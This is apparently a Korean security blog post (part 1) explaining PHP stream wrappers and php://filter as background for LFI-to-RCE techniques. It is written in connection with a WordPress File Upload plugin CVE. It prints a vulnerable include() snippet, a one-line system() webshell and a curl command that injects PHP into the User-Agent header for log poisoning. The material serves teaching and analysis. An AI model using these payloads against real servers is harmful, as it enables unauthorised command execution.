Search

PHP Wrapper, php://filter를 이용한 LFI2RCE 기법: PART 1

Categories
Tags
작성일
2025/02/10
1 more property
목차

Introduction

이번에 WordPress 플러그인 WordPress File Upload의 4.24.12 이하 버전에서 발생하는 원격 코드 실행(RCE, Remote Code Execution) 취약점(CVE-2024-11635) 분석을 진행했습니다.
해당 취약점을 분석하는 과정에서 Exploit을 수행하기 위해 PHP Wrapperphp://filter 스트림을 이용 했는데, 이를 활용한 LFI2RCE(Local File Inclusion to Remote Code Execution) 기법에 대해 자세히 알아보겠습니다.

PHP Wrapper 란?

PHP에서는 다양한 데이터 소스(파일, HTTP 요청, FTP 서버, 압축 파일 등)에 대한 일관된 접근 방식을 제공하기 위해 Stream Wrapper 라는 개념을 도입했습니다. 이 스트림 래퍼는 데이터 소스에 접근하기 위한 URL 스타일의 표기법을 사용하며, 프로토콜과 유사한 방식으로 리소스를 식별하고 처리합니다.

Wrapper 종류

Wrapper는 기본적으로 여러 가지 스트림 래퍼를 제공합니다. 해당 래퍼들을 보면 모두 URL 스타일 표기법을 사용하는 것을 볼 수 있으며, 각각의 래퍼는 특정 프로토콜을 나타내는 접두사와 그 뒤에 오는 리소스 경로로 구성되어 있습니다.
Wrapper
Description
file://
로컬 파일 시스템 접근
http://https://
HTTP 및 HTTPS 요청 처리
ftp://
FTP 서버에 대한 접근
php://
입출력 스트림(표준 입력, 메모리, 필터 등)
data://
인라인 데이터 스트림
glob://
패턴과 일치하는 경로 이름 찾기
phar://
PHP 아카이브
zip://
ZIP 압축 파일 내부의 파일 접근
예를 들어, 로컬에 있는 파일을 읽을 때는 아래와 같이 사용합니다.
# $ cat /path/to/file.txt # Hello $content = file_get_contents("file:///path/to/file.txt"); echo $content; # Hello 출력
PHP
복사
또한, HTTP 요청을 보낼 때는 다음과 같이 사용할 수 있습니다.
$content = file_get_contents("http://example.com"); echo $content; # 웹 페이지의 HTML 내용 출력
PHP
복사
이러한 래퍼들 중 php://는 PHP 애플리케이션의 입출력 스트림을 처리하는 래퍼로, 입출력, 메모리 스트림, 임시 파일 접근과 함께 데이터 읽기와 쓰기 시 필터 적용 기능을 제공합니다. 이 같은 특성으로 인해 php:// 래퍼는 LFI 취약점을 RCE로 확장하는 데 활용될 수 있습니다. 특히 php://filter를 사용하면 파일 내용을 다양한 인코딩 필터를 통해 변환할 수 있어 코드 실행이 가능해집니다.

PHP 래퍼(php://)

주요 스트림

PHP 래퍼는 다음과 같은 주요 스트림들을 제공합니다.
자세한 내용은 https://www.php.net/manual/en/wrappers.php.php 에서 확인하실 수 있습니다.
Type
Description
php://stdin, php://stdout, php://stderr
PHP 프로세스의 입/출력 스트림에 대한 접근
php://input
HTTP Request(요청)의 원본 바디(POST 데이터)를 읽을 수 있는 읽기 전용 스트림
php://output
print()echo()와 같은 방식으로 출력 버퍼에 직접 쓸 수 있는 쓰기 전용 스트림
php://fd
주어진 FD(File Descriptor)에 직접 접근 e.g. php://fd/3
php://memory, php://temp
메모리 기반의 스트림으로 임시 데이터를 파일과 같은 래퍼에 저장할 수 있는 읽기, 쓰기 스트림
php://filter
스트림에 필터를 적용할 수 있는 메타 래퍼
이 중 php://filter 는 원본 스트림(내부 파일 경로)에 특정 필터를 적용하여 인코딩 변환, 문자열 변환, 압축 등의 처리를 수행할 수 있습니다. 즉, 매우 강력한 기능을 제공하는 만큼 보안상 주의가 필요합니다.

php://filter 매개변수

php://filter 는 다음의 매개변수를 사용할 수 있습니다. 이 중 resource 는 필터를 적용할 대상 파일이나 입력 스트림을 지정해야하므로 필수적으로 포함되어야 합니다.
Name
Description
resource=<파일 경로>
(필수) 필터링하려는 스트림을 지정
read=<필터 목록>
(선택) 입력 작업 시 적용할 필터를 지정
write=<필터 목록>
(선택) 출력 작업 시 적용할 필터를 지정
read, write가 없는 경우
접두사(read, write)가 없는 필터 목록을 지정하면, 읽기 쓰기 작업 모두 적용
또한, readwrite 는 파이프 문자(|)를 이용하여 스트림에서 여러 개의 필터를 연속적으로 적용할 수 있으며, 이러한 방식을 필터 체이닝(Filter Chaining)이라고 합니다. 이 필터 체이닝은 이후 PHP 코드를 생성하기 위해 사용됩니다.

필터 목록

매개변수에 필터를 적용할 대상을 지정한 후에는 필터를 선택해야 합니다. 이때 PHP의 내장 필터를 사용하게 됩니다. 다음은 PHP에서 제공하는 주요 내장 필터들입니다.
자세한 내용은 https://www.php.net/manual/en/filters.php 에서 확인하실 수 있습니다.
Filter
Description
convert.base64-encode
Base64 인코딩
convert.base64-decode
Base64 디코딩
convert.quoted-printable-encode
Quoted-printable 인코딩
convert.quoted-printable-decode
Quoted-printable 디코딩
convert.iconv.<from>.<to>
문자 인코딩 변환 (fromto 매개변수 필요) e.g. iconv.utf-8.iso-8859-1 (UTF-8에서 ISO-8859-1로 변환 할 경우)
string.toupper
문자열을 대문자로 변환
string.tolower
문자열을 소문자로 변환
zlib.deflate
zlib 압축
zlib.inflate
zlib 압축 해제

기본 문법

위 내용을 토대로 php://filter 의 문법을 살펴보겠습니다.
우선, php://filter 는 아래와 같이 필터링하려는 스트림(파일 경로 또는 입력 스트림(php://input))을 지정해야합니다.
php://filter/resource=<파일 경로>
PHP
복사
또한, read=<필터>, write=<필터> 매개변수를 추가하여 데이터를 읽거나 쓸 때 변환 작업이 가능하며, 파이프 문자(|)를 통해 여러 필터를 체이닝하여 하나의 경로에 지정할 수 있습니다.
// Base64로 인코딩하여 파일 읽기 php://filter/read=convert.base64-encode/resource=/path/to/file.txt // 여러 필터 체이닝(왼쪽 필터부터 차례대로 적용) // Base64로 인코딩 후 대문자로 변환 php://filter/read=convert.base64-encode|string.toupper/resource=/path/to/file.txt
PHP
복사

일반적인 LFI2RCE

앞서 PHP Wrapper 중 php://filter 래퍼를 살펴보았습니다. 이제 이 래퍼를 사용한 LFI2RCE 수행 방법을 알아보겠지만, 먼저 일반적인 LFI2RCE 기법에 대해 설명하겠습니다.
일반적으로 LFI 취약점을 이용하여 RCE 취약점으로 확대하려면 다음의 경우를 고려해야 합니다.
1.
악성 코드가 포함된 파일(e.g. 웹쉘(WebShell))을 업로드 하거나 생성할 수 있는 경우
2.
로그 파일 또는 특정 파일에 PHP 코드를 삽입할 수 있는 경우
즉, LFI 취약점을 통해 악성 코드가 포함된 파일을 실행함으로써 RCE 공격이 이루어집니다. 이러한 방법을 테스트하기 위한 LFI 취약점이 존재하는 PHP 애플리케이션 예시는 다음과 같습니다.
<!-- index.php --> <?php if(isset($_GET["inc"])){ include $_GET["inc"]; } ?>
PHP
복사
이 코드는 URL 파라미터 inc의 값을 include 함수로 외부 파일을 읽어오는 취약한 코드입니다. 해당 코드는 사용자가 입력한 파일 경로를 검증 없이 그대로 include 하여 LFI 취약점이 발생합니다. 만약 이 PHP 애플리케이션에 ?inc=/etc/passwd를 요청하면 PHP 애플리케이션 서버 내의 /etc/passwd 파일 내용을 읽어오는 것을 확인할 수 있습니다.

웹 쉘 업로드를 통한 LFI2RCE

웹 쉘을 업로드하여 LFI 취약점을 이용한 RCE 공격입니다. 웹 쉘 코드는 아래의 코드를 사용했으며, 이 코드는 URL 파라미터 cmd 를 입력받아 system 함수의 인자로 전달하여 운영체제 명령어를 실행할 수 있는 간단한 웹 쉘입니다.
<!-- webshell.php --> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
PHP
복사
해당 웹 쉘 파일(webshell.php)을 다음과 같이 서버에 업로드합니다.
이후 PHP 애플리케이션에 ?inc=webshell.php&cmd=id 를 요청하면 webshell.php 를 include 하여 웹 쉘이 실행되고, 웹 쉘에 전달된 cmd 파라미터의 값인 id 명령어가 실행됩니다. 이를 통해 서버의 시스템 명령어를 실행할 수 있게 되어 RCE가 가능해집니다.

로그 파일을 통한 LFI2RCE

다음은 로그 파일을 이용한 방법입니다. 로그 파일은 클라이언트 요청 정보와 함께 접속한 클라이언트의 User-Agent 정보를 기록하는 파일입니다.
이러한 로그 기록은 웹 서버 설정 파일에 의해 로그 파일 위치를 지정하는데, Apache의 경우 일반적으로 /var/log/apache2/access.log 파일에 로그가 기록됩니다. 따라서, HTTP 요청 헤더 중 User-Agent에 PHP 코드 <?php system($_GET['cmd']); ?> 를 포함하여 요청하면 해당 코드가 로그 파일에 기록됩니다.
curl -X GET "http://localhost:8080" \ -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
Bash
복사
이후 LFI 취약점을 통해 해당 로그 파일을 include(inc=/var/log/apahce2/access.log)하면 PHP 코드가 실행되어 RCE가 가능해집니다.

References